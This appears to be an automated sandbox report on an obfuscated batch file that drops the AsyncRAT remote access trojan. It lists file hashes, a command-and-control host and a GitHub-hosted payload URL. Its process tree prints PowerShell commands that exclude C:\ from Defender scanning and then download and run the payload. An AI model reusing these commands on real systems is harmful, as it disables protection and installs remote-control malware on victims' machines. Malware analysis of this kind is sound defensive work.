Analysis

  • max time kernel
    17s
  • max time network
    46s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26-10-2024 01:32

General

  • Target

    cool-obf.bat

  • Size

    20KB

  • MD5

    99525fe4bc3b8826a79437472b315528

  • SHA1

    6f4c3291b57e996bac223dda1b7b1bcfea8d4528

  • SHA256

    e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3

  • SHA512

    6dca8ca280024c06b37c42d0f92b5d3b8cb7479fd527e9c5fc81efac8cd22c6adc6ac5dd2e5fdb8aeebff2634ea010ce9497c20dbf58addd382597855ac81887

  • SSDEEP

    384:UmN+vVczZIkT0EFDuWLhGzAzjpyHGGwWW9l:PQvVc1jT0EFDuWLhGsfpyHzw79l

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Default

C2

yyyson22.gleeze.com:4608

Mutex

dw

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cool-obf.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Windows\system32\chcp.com
      chcp.com 437
      2⤵
        PID:5696
      • C:\Windows\system32\find.exe
        find
        2⤵
          PID:6096
        • C:\Windows\system32\findstr.exe
          findstr /L /I set C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
          2⤵
            PID:5940
          • C:\Windows\system32\findstr.exe
            findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
            2⤵
              PID:3080
            • C:\Windows\system32\findstr.exe
              findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
              2⤵
                PID:4952
              • C:\Windows\system32\findstr.exe
                findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
                2⤵
                  PID:4456
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c type tmp
                  2⤵
                    PID:2716
                  • C:\Windows\system32\find.exe
                    find
                    2⤵
                      PID:5988
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c type tmp
                      2⤵
                        PID:3196
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3444
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe', 'C:\\AsyncClient.exe')"
                        2⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5248
                      • C:\AsyncClient.exe
                        "C:\AsyncClient.exe"
                        2⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        PID:3492

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\AsyncClient.exe

                      Filesize

                      61KB

                      MD5

                      a4314ad7e9a2945cf99dd03e9e46f7c1

                      SHA1

                      326c096e183a17cbc41034c6b6a6917de5347a86

                      SHA256

                      22639054481629b24309f3ab18f016231ed4f3de6fa6b852598848c1dbe7cf1f

                      SHA512

                      5787f414ebf281f581e26d21541915897e741995528bb7cc20e5d7c02d8a35e05047cd47e231d3ea389986323ee58039844c075134869a3e63d004c11f08a8c8

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                      Filesize

                      2KB

                      MD5

                      627073ee3ca9676911bee35548eff2b8

                      SHA1

                      4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                      SHA256

                      85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                      SHA512

                      3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      944B

                      MD5

                      408641808e457ab6e23d62e59b767753

                      SHA1

                      4205cfa0dfdfee6be08e8c0041d951dcec1d3946

                      SHA256

                      3921178878eb416764a6993c4ed81a1f371040dda95c295af535563f168b4258

                      SHA512

                      e7f3ffc96c7caad3d73c5cec1e60dc6c7d5ed2ced7d265fbd3a402b6f76fed310a087d2d5f0929ab90413615dad1d54fce52875750057cffe36ff010fc6323fb

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjwcrnub.hvx.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Admin\AppData\Local\Temp\tmp

                      Filesize

                      14B

                      MD5

                      ce585c6ba32ac17652d2345118536f9c

                      SHA1

                      be0e41b3690c42e4c0cdb53d53fc544fb46b758d

                      SHA256

                      589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

                      SHA512

                      d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

                    • memory/3444-14-0x00007FF912A70000-0x00007FF913532000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3444-18-0x00007FF912A70000-0x00007FF913532000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3444-15-0x00007FF912A70000-0x00007FF913532000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3444-13-0x000002AF4CA40000-0x000002AF4CA62000-memory.dmp

                      Filesize

                      136KB

                    • memory/3444-4-0x00007FF912A73000-0x00007FF912A75000-memory.dmp

                      Filesize

                      8KB

                    • memory/3492-34-0x0000000000F50000-0x0000000000F66000-memory.dmp

                      Filesize

                      88KB

                    • memory/3492-35-0x0000000006220000-0x00000000067C6000-memory.dmp

                      Filesize

                      5.6MB

                    • memory/3492-36-0x0000000005E10000-0x0000000005EA2000-memory.dmp

                      Filesize

                      584KB

                    • memory/3492-37-0x0000000005DC0000-0x0000000005DCA000-memory.dmp

                      Filesize

                      40KB

                    • memory/3492-40-0x0000000006AB0000-0x0000000006B4C000-memory.dmp

                      Filesize

                      624KB

                    • memory/3492-41-0x0000000006FE0000-0x0000000007046000-memory.dmp

                      Filesize

                      408KB